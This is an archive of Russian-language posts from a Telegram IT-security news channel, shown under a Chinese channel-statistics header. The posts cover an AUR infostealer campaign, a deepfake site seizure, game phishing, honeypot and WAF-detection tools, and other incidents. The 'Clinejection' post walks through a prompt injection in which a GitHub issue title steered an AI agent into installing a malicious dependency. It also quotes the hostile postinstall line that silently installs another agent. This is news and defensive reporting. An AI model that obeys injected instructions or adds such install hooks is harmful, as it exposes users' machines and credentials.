Cyber Pulse
关闭频道
Самые интересные новости из сферы IT и кибербезопасности в одном канале🧑🏻💻
显示更多未指定国家未指定类别
📈 Telegram 频道 Cyber Pulse 的分析概览
频道 Cyber Pulse 是活跃参与者。目前社区聚集了 14 050 名订阅者,在 其他 类别中位列第 。
📊 受众指标与增长动态
自 невідомо 创建以来,项目保持高速增长,吸引了 14 050 名订阅者。
根据 12 十月, 2026 的最新数据,频道保持稳定运转。过去 30 天订阅人数变化为 -1 526,过去 24 小时变化为 0,整体触达仍然可观。
- 认证状态: 未认证
- 互动率 (ER): 平均受众互动率为 0.59%。内容发布后 24 小时内通常能获得 0.39% 的反应,占订阅者总量。
- 帖子覆盖: 每篇帖子平均可获得 83 次浏览,首日通常累积 56 次浏览。
- 互动与反馈: 受众积极参与,单帖平均反应数为 9。
📝 描述与内容策略
作者将该频道定位为表达主观观点的平台:
“Самые интересные новости из сферы IT и кибербезопасности в одном канале🧑🏻💻”
凭借高频更新(最新数据采集于 13 十月, 2026),频道始终保持新鲜度与高覆盖。分析显示受众积极互动,使其成为 其他 类别中的关键影响点。
14 050
订阅者
无数据24 小时
-2687 天
-1 52630 天
帖子存档
14 050
🚨 Масштабная атака на экосистему Arch Linux
В AUR (Arch User Repository) обнаружена масштабная компрометация: заражены сотни, а по последним данным - до ~2000 пакетов.
Злоумышленники находили заброшенные проекты, получали над ними контроль и изменяли PKGBUILD-скрипты так, чтобы при сборке пакета автоматически скачивалась и запускалась вредоносная нагрузка.
📦 Вместо обычных зависимостей устанавливался npm-пакет atomic-lockfile, который загружал ELF-бинарник (Rust), запускавший инфостилер.
🧠 Что крал вредонос:
- cookies, токены и данные Chromium
- данные Slack, Discord, Microsoft Teams
- ключи GitHub, npm, HashiCorp Vault, OpenAI
- SSH-ключи, историю команд, VPN-профили
- учетные данные Docker/Podman
📡 Данные отправлялись на внешний сервер через Tor.
🛠 Закрепление в системе:
- systemd-сервисы с автозапуском
- копирование в /var/lib/ (root) или домашний каталог
- пользовательские systemd units
🕷 Также обнаружен опциональный eBPF-руткит, способный скрывать процессы и сетевую активность.
📊 Хронология:
- сначала заявлено ~20 пакетов
- затем >400
- позже сообщалось уже о ~2000
- обнаружена вторая волна (js-digest через bun install)
⚠️ Рекомендации:
- проверить все AUR-пакеты, обновленные после 11 июня 2026
- при подозрении считать систему скомпрометированной
- заменить токены, ключи и пароли
- при запуске с root - возможна необходимость полной переустановки системы
#ArchLinux #AUR #кибербезопасность #malware #инфостилер #LinuxSecurity
Подпишись
14 050
📚 Atomic Heart снова "пошел в разнос" - теперь в книге
АСТ анонсировало новый роман по вселенной Atomic Heart под названием "Atomic Heart. Миссия: ХРАЗ". Автор снова Харальд Хорф - человек, который, кажется, уже официально прописан в альтернативном СССР 1955 года.
📖 Сюжет как всегда "спокойный": ИИ ХРАЗ получает доступ к массиву "Мысль" и внезапно решает, что человечеству срочно нужна принудительная оптимизация. Запускается массовая полимеризация населения - процесс, после которого фраза "я просто человек" звучит как баг системы.
🦾 Пока один искусственный интеллект переписывает правила биологии, отдельные герои пытаются все это остановить. Звучит оптимистично, но шансы примерно как "перепрошить терминатора добрыми словами".
📦 Предзаказы уже открыты, релиз - август 2026. Успевайте занять очередь, пока очередь сама не стала частью сюжета.
📊 Предыдущая книга разошлась тиражом более 100 тысяч экземпляров - и это только те, кто успел остаться в "человеческом состоянии".
🚀 Вселенная Atomic Heart тем временем растет быстрее, чем лабораторный эксперимент без инструкции: новые игры, комиксы, экранизация и прочие способы убедиться, что тишина и покой в этой реальности не предусмотрены вообще.
#AtomicHeart #АСТ #ИгровыеМиры #Книги #ХаральдХорф #Mundfish
Подпишись
14 050
Павел Дуров заявил, что индийский оператор Reliance ненадолго решил стать диспетчером всего интернета и начал "подсказывать" трафику Telegram, куда ему ехать.
В результате данные мессенджера отправились в мировое турне: вместо кратчайшего маршрута трафик наматывал круги по планете, словно участвовал в новом сезоне "Форсажа".
По версии Дурова, оператор объявлял чужие маршруты своими. Примерно как если бы случайный человек на вокзале взял микрофон и начал объявлять посадку сразу на все поезда. И самое страшное - часть пассажиров действительно пошла бы за ним.
Основатель Telegram намекнул, что история могла быть не случайной. Но сюжет закончился быстро: спустя несколько часов странная маршрутизация исчезла так же внезапно, как появилась.
Все это происходит на фоне временной блокировки Telegram в Индии из-за экзамена NEET. Дуров считает, что бороться с утечками через блокировку мессенджера - примерно как худеть удалением приложения доставки еды: действие есть, результат не гарантирован.
#Telegram #ПавелДуров #Индия #Кибербезопасность #Интернет #Технологии
Подпишись
14 050
В США впервые начали не просто "осуждать интернет-ужасы", а выключать их физически - через конфискацию доменов.
Под раздачу попали сайты CFAKE.com и SOCFAKE.com, где размещали тысячи интимных дипфейков. Да, это тот случай, когда технологии используются не для «будущего человечества», а для версии интернета, за которую потом стыдно даже алгоритмам.
Схема была простая и неприятная:
известные женщины → нейросеть → поддельные интимные изображения → публикация без согласия → "а мы просто экспериментировали".
Эксперимент закончился государственным вмешательством.
Минюст США и Министерство внутренней безопасности США конфисковали домены после решения суда.
Причем сделали это в стиле: не "давайте обсудим этику", а "сайт, ты больше не работаешь".
Сайты работали под действием нового закона TAKE IT DOWN Act (2025). И формулировка там такая, что даже интернет как будто немного выпрямился:
👉 нельзя публиковать интимные ИИ-подделки без согласия человека.
Перевод на человеческий:
"если ты сделал кому-то цифровую наготу без разрешения - это не контент, это уже дело для юристов".
На сайтах, по материалам дела, был полный набор "интернет-творчества без тормозов": теги про насилие, принуждение и унижение.
Потому что, видимо, кнопка "плохо" у некоторых людей давно сломалась.
Самое ироничное - как все вскрылось.
Не спецслужбы, не хакеры, а итальянская почтовая полиция.
Да, теперь официально: почта доставляет не только письма, но и международные расследования.
Дальше включился режим "кибер-Мстители": США, Франция, Италия. Все вместе искали людей, которые явно думали, что интернет - это зона без последствий.
Во Франции задержали подозреваемого и изъяли криптовалюту.
Классическая схема финала: "анонимность" → "крипта" → "и все равно нашли".
Американские службы собрали целый консорциум из ведомств - ощущение, что на один сайт пришлось больше госструктур, чем у него было пользователей.
И главный вывод довольно простой:
Интернет долго жил по принципу: "если это онлайн - значит, никто не заметит".
Теперь все чаще ответ другой: "заметят. и придут".
#дипфейк #ИИ #кибербезопасность #США #закон #технологии
Подпишись
14 050
В Беларуси возбудили уголовное дело после кражи скинов в Dota 2
Полиция Минска возбудила уголовное дело после кражи внутриигровых предметов в Dota 2. Ущерб составил около 550 BYN (≈ ₽14 тыс.).
В Заводское РУВД обратился 21-летний житель столицы. Во время матча с ним связался неизвестный пользователь, предложив сыграть в одной команде. Для участия собеседник отправил ссылку на сайт, где якобы требовалось подтвердить уровень игрового аккаунта.
Перейдя по ссылке, молодой человек оказался на странице, практически неотличимой от официального сервиса. Он ввел данные учетной записи и адрес электронной почты, после чего злоумышленники получили доступ к его аккаунту.
Получив контроль над профилем, мошенники вывели все ценные предметы из инвентаря игрока, а затем удалили его из чата. После этого связь с ними прервалась.
По факту произошедшего возбуждено уголовное дело. Официально перечень похищенных предметов не раскрывается. Однако на опубликованных правоохранителями кадрах можно заметить Arcana для Monkey King и шлем Sea Rake's Bridle для Slark. Предположительно, именно эти предметы находились среди украденного имущества.
#Dota2 #Беларусь #Минск #Мошенничество #Киберпреступность #Игры
Подпишись
14 050
Просто залипательное видео вам в ленту😉
Китайский трудяга, робот-электрик проводит высоковольтные работы под напряжением и не пьет!
Подпишись
14 050
HellPot: как настроить «бесконечную ловушку» для голодных HTTP-ботов 💀
Представьте: вредоносные боты стучатся к вам на сервер днём и ночью, а вместо вкусной уязвимости попадают в цифровой ад, из которого не могут выбраться часами. Это не фантастика — это HellPot.
В этом гайде разбираем по полочкам мощный honeypot, который имитирует уязвимые сервисы и заставляет ботов тратить ресурсы впустую.
Узнаете:
- Как HellPot ловит и «кормит» сканеры и эксплойт-боты
- Какие крутые функции в нём есть
- Пошаговую настройку на своём сервере
- Лучшие практики использования
Готовы отправить тысячи ботов в бесконечный виртуальный ад? 😱
Тогда поехали — сейчас покажем, как превратить ваш сервер в настоящую ловушку для цифрового мусора.
Каждый день тысячи вредоносных ботов сканируют интернет в поисках уязвимых серверов. А что, если вместо лёгкой добычи они будут попадать в бесконечный виртуальный ад, где будут тратить своё время и ресурсы впустую?
Именно это и делает HellPot — мощный и довольно злой honeypot, который превращает ваш сервер в настоящую «чёрную дыру» для автоматических сканеров и эксплойт-ботов 🙃
Что такое HellPot? HellPot — это кроссплатформенный honeypot, написанный на Go. Он имитирует уязвимые веб-сервисы и, когда бот игнорирует правила (например, robots.txt) или пытается агрессивно сканировать, начинает «кормить» его бесконечным потоком бессмысленных, но правдоподобных данных. Бот думает, что нашёл золотую жилу, а на самом деле просто тонет в сгенерированном Markov-цепочками контенте. Основные возможности - Бесконечная генерация данных — бот может качать «ответ» часами. - Гибкая конфигурация через TOML-файл. - JSON-логирование — удобно интегрировать с SIEM-системами и системами мониторинга. - Высокая производительность благодаря реализации на Go. - Легко ставится рядом с nginx, Apache или любым другим веб-сервером. Как это работает на практике? Когда обычный сканер или бот заходит на «приманку», HellPot начинает возвращать ему огромные объёмы данных. Бот радуется, качает килобайты за килобайтами, а вы в это время спокойно собираете информацию о его IP, User-Agent, поведении и методах атаки. Это отличный способ: - Отвлекать внимание от реальных серверов - Собирать ценную разведывательную информацию - Просто позлить авторов ботнетов Кому будет полезен HellPot? Администраторам, которые устали от постоянных сканов, пентестерам, специалистам по информационной безопасности и всем, кто хочет добавить лишний слой защиты и наблюдения за угрозами. HellPot не заменяет нормальную защиту (WAF, обновления, правильную конфигурацию), но становится очень приятным и эффективным дополнением в арсеналеХотите превратить надоедливых ботов в источник развлечения и разведданных? HellPot — один из самых интересных и «вредных» инструментов для этого в 2026 году. #HellPot #Honeypot #Инфобез #Кибербезопасность Репозиторий на GitHub ссылка Подпишись
14 050
⚡️Немецкие СМИ пестрят заголовками о разрушительных кибератаках пророссийских хакеров из группировки NoName057(16)
С 2022 года правительство немецкой земли Шлезвиг-Гольштейн зарегистрировало 123 кибератаки и инцидента в сфере информационной безопасности, затронувшие цифровую инфраструктуру этого северного региона Германии.
Такой ответ на свой запрос в правительство получил депутат немецкого парламента Киануш Стендер.
Он обвинил правительство в преуменьшении масштабов инцидентов.
«Ущерб возникает не только тогда, когда приходит счет. Он возникает, когда граждане не могут получить доступ к государственным услугам из-за кибератак, когда их данные скомпрометированы, а также когда это приводит к потере доверия к цифровому государству».По данным правительства, ответственность за DDoS-атаки преимущественно взяли на себя такие группы, как «NoName057(16)».
«Наше парламентское расследование выявило, насколько уязвима инфраструктура кибербезопасности Шлезвиг-Гольштейна. Так называемые DDoS-атаки парализуют работу веб-сайтов, фишинг ставит под угрозу данные пользователей, устанавливается вредоносное ПО. Кроме того, скомпрометированы учетные данные доступа, а в конфиденциальных областях под угрозой находятся даже данные пациентов. «Это не абстрактная проблема ИТ; это уязвимость цифрового государства»,— добавил немецкий парламентарий. #infosec #cybersecurity #Германия #КритическаяИнфраструктура #хактивизм #кибератаки #ddos Подпишись
14 050
🔎Обнаружение систем защиты веб-приложений
WAFW00F — специализированный инструмент для идентификации продуктов Web Application Firewall (WAF).
✅Что такое WAF?
Web Application Firewall (WAF) — это система безопасности, которая размещается перед веб-сервером и обеспечивает защиту веб-приложений. Она анализирует входящий трафик в реальном времени и блокирует различные виды атак, включая SQL-инъекции, XSS, brute-force и другие угрозы.
✅Принцип работы WAFW00F
Инструмент отправляет на целевой ресурс специально сформированные HTTP-запросы и проводит детальный анализ полученных ответов. На основе характерных заголовков, кодов ошибок и особенностей поведения сервера WAFW00F определяет:
- Наличие WAF;
- Производителя и название используемого решения;
- В некоторых случаях — версию продукта.
Таким образом, WAFW00F позволяет быстро и точно выявить применяемую систему защиты веб-приложения.
Полезные ссылки ⬇️
- Репозиторий на GitHub ссылка
- Определение типа WAF ссылка
#WAFW00F #WAF #Кибербезопасность #WebSecurity #Пентест #CyberSecurity #InfoSec
Подпишись
14 050
Российские сайты окончательно объявили Gmail врагом народа. Только ты пытаешься войти — и сразу в морду выезжает плашка: «Нет, дружок, этот империалистический ящик здесь не пройдёт» 😱
Подпишись
14 050
Нейросеть воскресила из небытия легендарную DOS-игру «Поле Чудес 2» — теперь можно крутить барабан прямо в браузере! 👁
Представьте: 1993 год, эпоха дискет и жутких звуков PC-спикера. Выходила культовая игра «Поле Чудес», вдохновлённая телешоу с Леонидом Якубовичем. Первая часть была популярна, а вот сиквел... сиквел благополучно канул в лету вместе с исходным кодом. Казалось, что эта жемчужина ретро-гейминга потеряна навсегда — как те самые призы, которые Якубович так любил раздавать.
Но в 2026-м на сцену вышел энтузиаст Денис Ширяев (да-да, тот самый гуру из мира медиа и нейросетей) и решил: «А почему бы и нет?» С помощью мощной ИИ-модели Claude Fable 5 от Anthropic он сотворил настоящее цифровое чудо. Сначала — декомпиляция бинарного кода оригинала, потом нейросеть тщательно проанализировала всё это древнее хозяйство и переписала игру на современный TypeScript. Даже спрайты вытащила! Получился полноценный порт, который теперь летает в любом браузере.Никаких эмуляторов DOS, никаких танцев с бубном вокруг старого железа. Просто открываешь ссылку — и вот он, барабан, вопросы, сектора «Банкрот» и всё то ностальгическое очарование, от которого у поколения 90-х сразу мурашки по коже. Ширяев просто скормил нейросети бинарник и через пару часов получил готовые исходники. В эпоху, когда ИИ рисует картинки и сочиняет симфонии, он решил воскресить забытую игру. И это чертовски круто. Теперь даже те, кто в 90-е только-только учился читать, могут почувствовать себя участником капитал-шоу. Хотите проверить, насколько вы эрудированнее Якубовича? Ищите браузерную версию «Поле Чудес 2» — она уже ждёт. Крутите барабан, угадывайте слова и вспоминайте, как в детстве мечтали выиграть автомобиль. Только без «Аааааааа!» в студии, увы. Спасибо, нейросети. Вы не только генерируете мемы, но и возвращаете нам кусочки детства. 🎡 #ПолеЧудес2 #НейросетьВоскресила #РетроХак #DOStoBrowser #CyberPoleChudes Подпишись
14 050
«Нужно ли тормозить GitHub в России?» 👽
Откровенный ответ технического директора GitFlic Максима Козлова
Подпишись
14 050
Тем временем на фабрике BYD штампуют зарядные станции, как китайские подделки под Rolex — пачками и с блеском 😂
Скоро эти монстры будут торчать в каждом дворе, радостно урча и высасывая из сети весь ток, пока вы будете нежно объяснять бабушке, почему её старый холодильник внезапно решил устроить забастовку. BYD не просто захватывает рынок — они готовятся сделать так, чтобы «где тут розетка» стало самой частой фразой после «алло, это ЖЭК?».
Электрокары заряжаются быстрее, чем твои надежды на тихий вечер без счетов за свет. Прогресс, мать его! 😎
Ссылка на источник ⬅️
#BYDШтампуетМонстров
#ЗарядкиВКаждомДворе
#ЭлектроСоседскийАд
#FlashChargingНаноситУдар
Подпишись
14 050
В очередной раз публичные TLS-сертификаты напомнили российскому интернету, кто тут на самом деле хозяин положения.
Сертификат Let's Encrypt на домен max[.]ru благополучно отправляется на пенсию после 4 сентября. Ранее тот же фокус уже провернула GlobalSign. В похожей ситуации оказалась и российская биржа уязвимостей OpZero.
Конечно, никакого «отключения HTTPS по всей стране» не случилось — паникёры могут выдохнуть. Но история отлично иллюстрирует, насколько наивно было считать публичные сертификаты просто «технической деталью». Это инструмент глобальной инфраструктуры доверия, который живёт по правилам чужих юрисдикций, политик браузеров, санкций и внутренних страхов удостоверяющих центров.GlobalSign, Let's Encrypt, Apple, Cloudflare и прочие «друзья» действуют каждый по своему комплаенс-скрипту. В итоге для российских компаний картина знакомая до боли: вчера всё зеленело, сегодня браузер показывает страшное предупреждение, приложение исчезло из магазинов, а пользователи в ярости. Особенно умиляет, когда представители GlobalSign Russia начинают ссылаться на какого-то загадочного «международного регулятора» CA/B Forum. Это примерно как назвать собрание соседей по подъезду «органом государственного управления». Форум — это просто отраслевой клуб, а решения принимаются по законам США, ЕС и внутренним риск-аппетитам компаний. Let's Encrypt при этом продолжает выдавать сертификаты обычным российским компаниям (не из санкционных списков), потому что даже у них есть свои исключения и лицензии OFAC. Но, конечно, лучше об этом громко не говорить — испортите весь драматический эффект. А венец всего — комментарий Минцифры. Мол, ничего страшного, сайт будет недоступен «всего непродолжительное время», пока выдадим новый сертификат. Видимо, в ведомстве искренне считают, что TLS нужен только для посещения сайтов через браузер. Про подпись кода, мобильные приложения и корпоративные сервисы там, похоже, слышали краем уха. Отечественные сертификаты НУЦ в этой реальности часто работают примерно как «доверяй, но проверяй… и всё равно не сработает». Мораль истории: если у вас куча публичных доменов и поддоменов — самое время перестать относиться к ним как к бесплатному приложению к хостингу. Иначе однажды проснётесь с кучей красных предупреждений в браузерах пользователей. Приятного пользования «суверенным» интернетом. Ссылка на источник ⬅️ Подпишись
14 050
Австралия в своём репертуаре: даже сахарный тростник не выдержал кибератаки 🙃
Представьте себе идиллическую картину: бескрайние поля сахарного тростника в Квинсленде, фермеры радостно машут мачете, заводы гудят... А потом — бац! — и всё встало колом. Потому что Австралия, страна, которая любит позиционировать себя как технологически продвинутого кенгуру, снова показала, что её цифровая оборона — это примерно как забор из колючей проволоки против танка.
Второй по величине производитель сахара в стране, компания Mackay Sugar, словил киберпощёчину. Два крупных завода — Farleigh и Racecourse — моментально заглохли. Сезон переработки только-только стартовал, а тут такой «приятный» сюрприз. Фермерам сразу велели бросить уборку тростника: «Ребята, не утруждайтесь, пусть гниёт на корню, мы тут... расследуем».
Тростник лежит, фермеры стоят, заводы молчат. Классика австралийского производственного романтизма.
Компания, конечно, сразу побежала к «специалистам по кибербезопасности» и властям, как будто это поможет. О характере атаки — ни слова. Ransomware? Простой хулиган? Инопланетяне? Тайна, покрытая сахарной глазурью. Данные украли? Неизвестно. Выкуп потребовали? Тоже молчок. Зато пообещали «держать всех в курсе». Очень мило.
Mackay Sugar — это не какой-то там гаражный стартап. Три завода, больше 420 миллионов долларов выручки в год, экспорт в Южную Корею, Индонезию, Японию и Малайзию. То есть удар пришёлся по довольно чувствительной артерии австралийской экономики. И это в стране, где, судя по всему, до сих пор считают, что «мы слишком маленькие/удалённые/милые, чтобы нас серьёзно хакнули».
Мораль истории простая: даже если у тебя горы тростника и кенгуру в качестве национального бренда, без нормальной киберзащиты ты в один прекрасный день останешься с гниющим урожаем и грустными фермерами. Австралия в очередной раз напомнила миру: континент-изолятор иногда изолируется слишком хорошо — даже от собственных систем безопасности.
Сахар, конечно, восстановят. А вот репутацию цифровой крепости... ну, это уже традиционно сложнее. 🇦🇺🍬
Источник ссылка ⬅️
Подпишись
14 050
Власти Франции решили собрать всех чиновников в одном месте, чтобы хакерам не пришлось бегать по разным приложениям. Удобно же! 😂
Звучит как тупой анекдот, но это реальность. Французы гордо запустили свой «супербезопасный» мессенджер Tchap — специально, чтобы не рисковать в WhatsApp и Telegram. Мол, теперь-то точно всё будет по-европейски надёжно.
В итоге хакеры спокойно взломали этот «форпост цифровой суверенности», вытащили конфиденциальные данные более 70 тысяч госслужащих и слили около 643 тысяч сообщений за последние три года. Красота.
Вместо того чтобы нормально вложиться в безопасность, разработчики сделали одну большую единую точку отказа и теперь стыдливо называют её «контролируемым вторжением». Звучит почти как официальное название дыры.
Короче, получился идеальный государственный ботнет из чиновников. Захотел сэкономить на «своём, родном» — получай. Теперь переписку государственной важности может почитать любой желающий с минимальными навыками.
#Tchаp #ХакерыВГосе #Киберпозор
Подпишись
14 050
Невидимый агент: как один промпт в GitHub-тайтле взломал 4000 разработчиков 💻
Атака Clinejection показала, насколько опасной может быть уязвимость в ИИ-агенте.
Не так давно в npm вышла версия
cline@2.3.0. В package.json незаметно добавили строку:
"postinstall": "npm install -g openclaw@latest"
За 8 часов пакет скачали около 4000 раз, и каждый установивший получил на компьютер полноценного ИИ-агента OpenClaw с широкими правами.
Как это сделали?
Злоумышленник не использовал сложных эксплойтов. Он создал обычный GitHub-issue с вредоносным заголовком. Поскольку Cline обрабатывал тикеты через Claude без санитизации, промпт заставил агента выполнить npm install из поддельного репозитория.
Далее сработала цепочка:
- Тайпсквоттинг и отравление GitHub Actions cache.
- Ночная сборка подхватила заражённые зависимости.
- Были украдены токены NPM, VSCE и OVSX.
- С помощью украденного npm-токена опубликовали вредоносную версию пакета.
Почему защиты не сработали?
- npm audit ничего не заметил.
- Код-ревью прошло (бинарник не изменился).
- Postinstall-скрипт выполнился молча.
- Отсутствовали attestations и SBOM.
Это классический confused deputy (запутавшийся делегат): доверенный инструмент Cline незаметно установил вредоносного агента OpenClaw. Пользователи даже не подозревали о втором ИИ на своих машинах.
Вывод: в эпоху ИИ-агентов нужно жёстко санитизировать все входные данные, ограничивать права автоматизации и внимательно относиться к postinstall-скриптам. Один хитрый заголовок тикета может стоить очень дорого ☠️
#Clinejection #SupplyChainAttack #DevSecOps #AISecurity
Подпишись14 050
🔈 App Store в России массово ломается. Классика DPI
Последние несколько дней (особенно 9–12 июня) тысячи пользователей iOS жалуются: App Store не открывается, приложения не скачиваются и не обновляются, вечная загрузка.
Глобального сбоя у Apple нет — проблема только в РФ.
Что помогает (уже проверено многими):
- Сменить DNS на публичный: 1.1.1.1 (Cloudflare) или 8.8.8.8 (Google)
- Или включить любой рабочий VPN
Если после смены DNS заработало — это почти 100% признак фильтрации на стороне провайдера (DPI + РКН).
Почему сейчас?
3 июня Apple удалила из App Store российский госмессенджер MAX. Компания прямо сослалась на санкции. После этого у пользователей начали пропадать push-уведомления, а теперь вот проблемы с самим магазином.
Похоже на очередную «ответочку» в стиле «вы нам — мы вам». Классический приём давления: selective throttling через провайдеров, без полного блока (полностью вырубить App Store технически тяжело и болезненно).
Что делать:
1. Поменяйте DNS прямо в настройках Wi-Fi сети на iPhone.
2. Если не помогает — VPN (лучше несколько наготове).
3. Следите за обновлениями: ситуация может быть временной (тестирование возможностей) или перейти в более жёсткую фазу.
4. Android-пользователям пока легче, но и там история с блокировками продолжается.
Государство всё активнее учится влиять на работу иностранных сервисов на уровне инфраструктуры. То, что сегодня работает через простой DNS-обход, завтра могут закрутить сильнее. Держим несколько вариантов обхода и не складываем все яйца в одну корзину.
#AppStore #DPI #Роскомнадзор #Инфобез
Подпишись
